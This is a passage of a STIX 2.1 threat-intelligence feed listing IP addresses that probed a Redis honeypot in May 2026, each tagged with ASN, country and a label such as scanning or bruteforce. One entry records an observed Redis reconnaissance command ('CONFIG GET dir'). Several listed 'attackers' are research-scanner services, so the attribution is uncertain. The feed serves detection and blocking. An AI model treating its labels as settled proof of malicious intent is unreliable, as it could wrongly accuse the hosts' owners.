      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:25:10.000Z",
      "valid_until": "2026-06-30T07:25:09.000Z"
    },
    {
      "created": "2026-05-29T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--6dc65942-b6e0-4340-b9b6-0912eca86f83",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.57.195.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:25:10.000Z",
      "valid_until": "2026-06-30T07:25:09.000Z"
    },
    {
      "created": "2026-05-29T10:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--f24a845e-928f-47b5-94b8-f1bf49c7c0ec",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T10:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.175.236.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:25:03.000Z",
      "valid_until": "2026-06-30T10:25:02.000Z"
    },
    {
      "created": "2026-05-29T11:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.29.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:25:13.000Z",
      "valid_until": "2026-06-30T11:25:09.000Z"
    },
    {
      "created": "2026-05-29T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:25:03.000Z",
      "valid_until": "2026-06-30T14:25:01.000Z"
    },
    {
      "created": "2026-05-29T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--19c49908-195c-447a-abfb-ea9aaf450e66",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:25:03.000Z",
      "valid_until": "2026-06-30T14:25:01.000Z"
    },
    {
      "created": "2026-05-29T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=CA; asn=209334; asn_org=Modat B.V.; redis_cmd_hits=0",
      "id": "indicator--35bf83cc-2c64-4098-9f64-2b084adabf02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:25:03.000Z",
      "valid_until": "2026-06-30T14:25:01.000Z"
    },
    {
      "created": "2026-05-29T16:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=58; ports=6379; cc=RU; asn=205775; asn_org=Neon Core Network LLC; redis_cmds=EVAL return 'lua' 0,CONFIG GET dir; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--a94a71ca-4a75-4e77-9255-98586ae81c0b",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-29T16:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.100.157.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:25:03.000Z",
      "valid_until": "2026-06-30T16:25:02.000Z"
    },
    {
      "created": "2026-05-29T17:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--a6fd9c77-539c-4fe5-838d-4f4d366cd53f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T17:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.45.236.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:25:02.000Z",
      "valid_until": "2026-06-30T17:25:01.000Z"
    },
    {
      "created": "2026-05-29T20:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--113bc352-339d-4760-a6ea-f4ef5ae08294",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:25:03.000Z",
      "valid_until": "2026-06-30T20:25:02.000Z"
    },
    {
      "created": "2026-05-29T20:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--64b0efaf-5441-437a-bccf-be21eaa73b7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:25:03.000Z",
      "valid_until": "2026-06-30T20:25:02.000Z"
    },
    {
      "created": "2026-05-29T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b7caec15-086a-4999-ac9f-8755d3705a6c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.230.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:25:04.000Z",
      "valid_until": "2026-06-30T21:25:02.000Z"
    },
    {
      "created": "2026-05-29T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--311bda19-b399-49de-b33e-b958fe1e134a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.207.93.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:25:10.000Z",
      "valid_until": "2026-06-30T22:25:09.000Z"
    },
    {
      "created": "2026-05-29T23:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--dc199969-4548-4900-aa6c-7cbce613af0b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T23:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.34.56.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:25:04.000Z",
      "valid_until": "2026-06-30T23:25:02.000Z"
    },
    {
      "created": "2026-05-30T02:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--dbfad94a-77f8-42c9-a75d-dd4f69c9e456",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '128.203.202.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:25:04.000Z",
      "valid_until": "2026-07-01T02:25:02.000Z"
    },
    {
      "created": "2026-05-30T02:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.22.230.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:25:04.000Z",
      "valid_until": "2026-07-01T02:25:02.000Z"
    },
    {
      "created": "2026-05-30T02:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--43deacf6-671e-4ccf-bcdd-8ecdb2d6532b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:25:04.000Z",
      "valid_until": "2026-07-01T02:25:02.000Z"
    },
    {
      "created": "2026-05-30T03:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6ee76900-c9f7-444a-ac2f-a2a6c9a82be0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T03:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.6.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:25:02.000Z",
      "valid_until": "2026-07-01T03:25:02.000Z"
    },
    {
      "created": "2026-05-30T03:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:25:02.000Z",
      "valid_until": "2026-07-01T03:25:02.000Z"
    },
    {
      "created": "2026-05-30T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=75; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--3e202a8b-4a72-4de2-9dd8-cf1f9160eb6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.145.143.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:25:10.000Z",
      "valid_until": "2026-07-01T05:25:09.000Z"
    },
    {
      "created": "2026-05-30T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=RU; asn=34665; asn_org=Petersburg Internet Network ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:25:10.000Z",
      "valid_until": "2026-07-01T05:25:09.000Z"
    },
    {
      "created": "2026-05-30T07:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2557695b-25e4-48db-803e-b15eae04d432",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.51.234.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:25:02.000Z",
      "valid_until": "2026-07-01T07:25:01.000Z"
    },
    {
      "created": "2026-05-30T09:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--a870a7dc-b73c-4f66-ac00-407726c89117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:25:04.000Z",
      "valid_until": "2026-07-01T09:25:02.000Z"
    },
    {
      "created": "2026-05-30T09:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e1de4e4c-ad20-413b-b823-04026c5848bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:25:04.000Z",
      "valid_until": "2026-07-01T09:25:02.000Z"
    },
    {
      "created": "2026-05-30T09:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T09:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:25:04.000Z",
      "valid_until": "2026-07-01T09:25:02.000Z"
    },
    {
      "created": "2026-05-30T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=HU; asn=212238; asn_org=Datacamp Limited; redis_cmd_hits=0",
      "id": "indicator--cb5393f1-f0a2-495d-abc0-da1fc085a6ed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.233.4.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:25:11.000Z",
      "valid_until": "2026-07-01T11:25:09.000Z"
    },
    {
      "created": "2026-05-30T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--f3a2f86f-1b61-42ff-b947-72a8af6fe83f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.84.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:25:11.000Z",
      "valid_until": "2026-07-01T11:25:09.000Z"
    },
    {
      "created": "2026-05-30T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=FR; asn=16276; asn_org=OVH SAS; redis_cmd_hits=0",
      "id": "indicator--0434c97c-b331-4625-8603-0d584843f6eb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.254.34.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:25:11.000Z",
      "valid_until": "2026-07-01T11:25:09.000Z"
    },
    {
      "created": "2026-05-30T12:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--3c85be06-c16b-4456-b3c5-8dfd0c0e816f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T12:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '139.144.16.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:25:03.000Z",
      "valid_until": "2026-07-01T12:25:02.000Z"
    },
    {
      "created": "2026-05-30T12:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e580a70b-37e9-4779-95a8-96a668d76758",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T12:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:25:03.000Z",
      "valid_until": "2026-07-01T12:25:02.000Z"
    },
    {
      "created": "2026-05-30T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--74eb3a7d-8179-458a-80e3-037b9a178603",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.187.165.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:25:03.000Z",
      "valid_until": "2026-07-01T13:25:02.000Z"
    },
    {
      "created": "2026-05-30T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--0c536670-11e5-4514-b30c-1684f89bc3a9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:25:03.000Z",
      "valid_until": "2026-07-01T14:25:01.000Z"
    },
    {
      "created": "2026-05-30T21:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--b2cadc4b-781d-43e2-8e47-a44710162b35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:25:03.000Z",
      "valid_until": "2026-07-01T21:25:02.000Z"
    },
    {
      "created": "2026-05-30T23:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--c40e3bb2-b558-4752-befd-f8b31cb29e09",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-30T23:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '39.100.242.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:25:03.000Z",
      "valid_until": "2026-07-01T23:25:02.000Z"
    },
    {
      "created": "2026-05-31T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0100f685-cfad-402a-aaf5-1dff9121a0d9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.20.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:25:10.000Z",
      "valid_until": "2026-07-02T02:25:08.000Z"
    },
    {
      "created": "2026-05-31T04:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--98c85f96-9b85-4949-9512-9681dd2b382a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:25:11.000Z",
      "valid_until": "2026-07-02T04:25:08.000Z"
    },
    {
      "created": "2026-05-31T05:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Detection of a Network Scan; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--3976a9ee-33fe-4fd6-b4c7-0bbf0545ce5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.143.3.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:25:02.000Z",
      "valid_until": "2026-07-02T05:25:01.000Z"
    },
    {
      "created": "2026-05-31T07:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--4a4a041f-4fb3-4958-841f-3d4124afd62d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T07:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:25:03.000Z",
      "valid_until": "2026-07-02T07:25:02.000Z"
    },
    {
      "created": "2026-05-31T07:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=81; ports=6379; cc=RO; asn=42397; asn_org=Bunea TELECOM SRL; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T07:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.29.13.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:25:03.000Z",
      "valid_until": "2026-07-02T07:25:02.000Z"
    },
    {
      "created": "2026-05-31T08:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--821cea58-fcb8-4710-b985-aaa9892e116a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
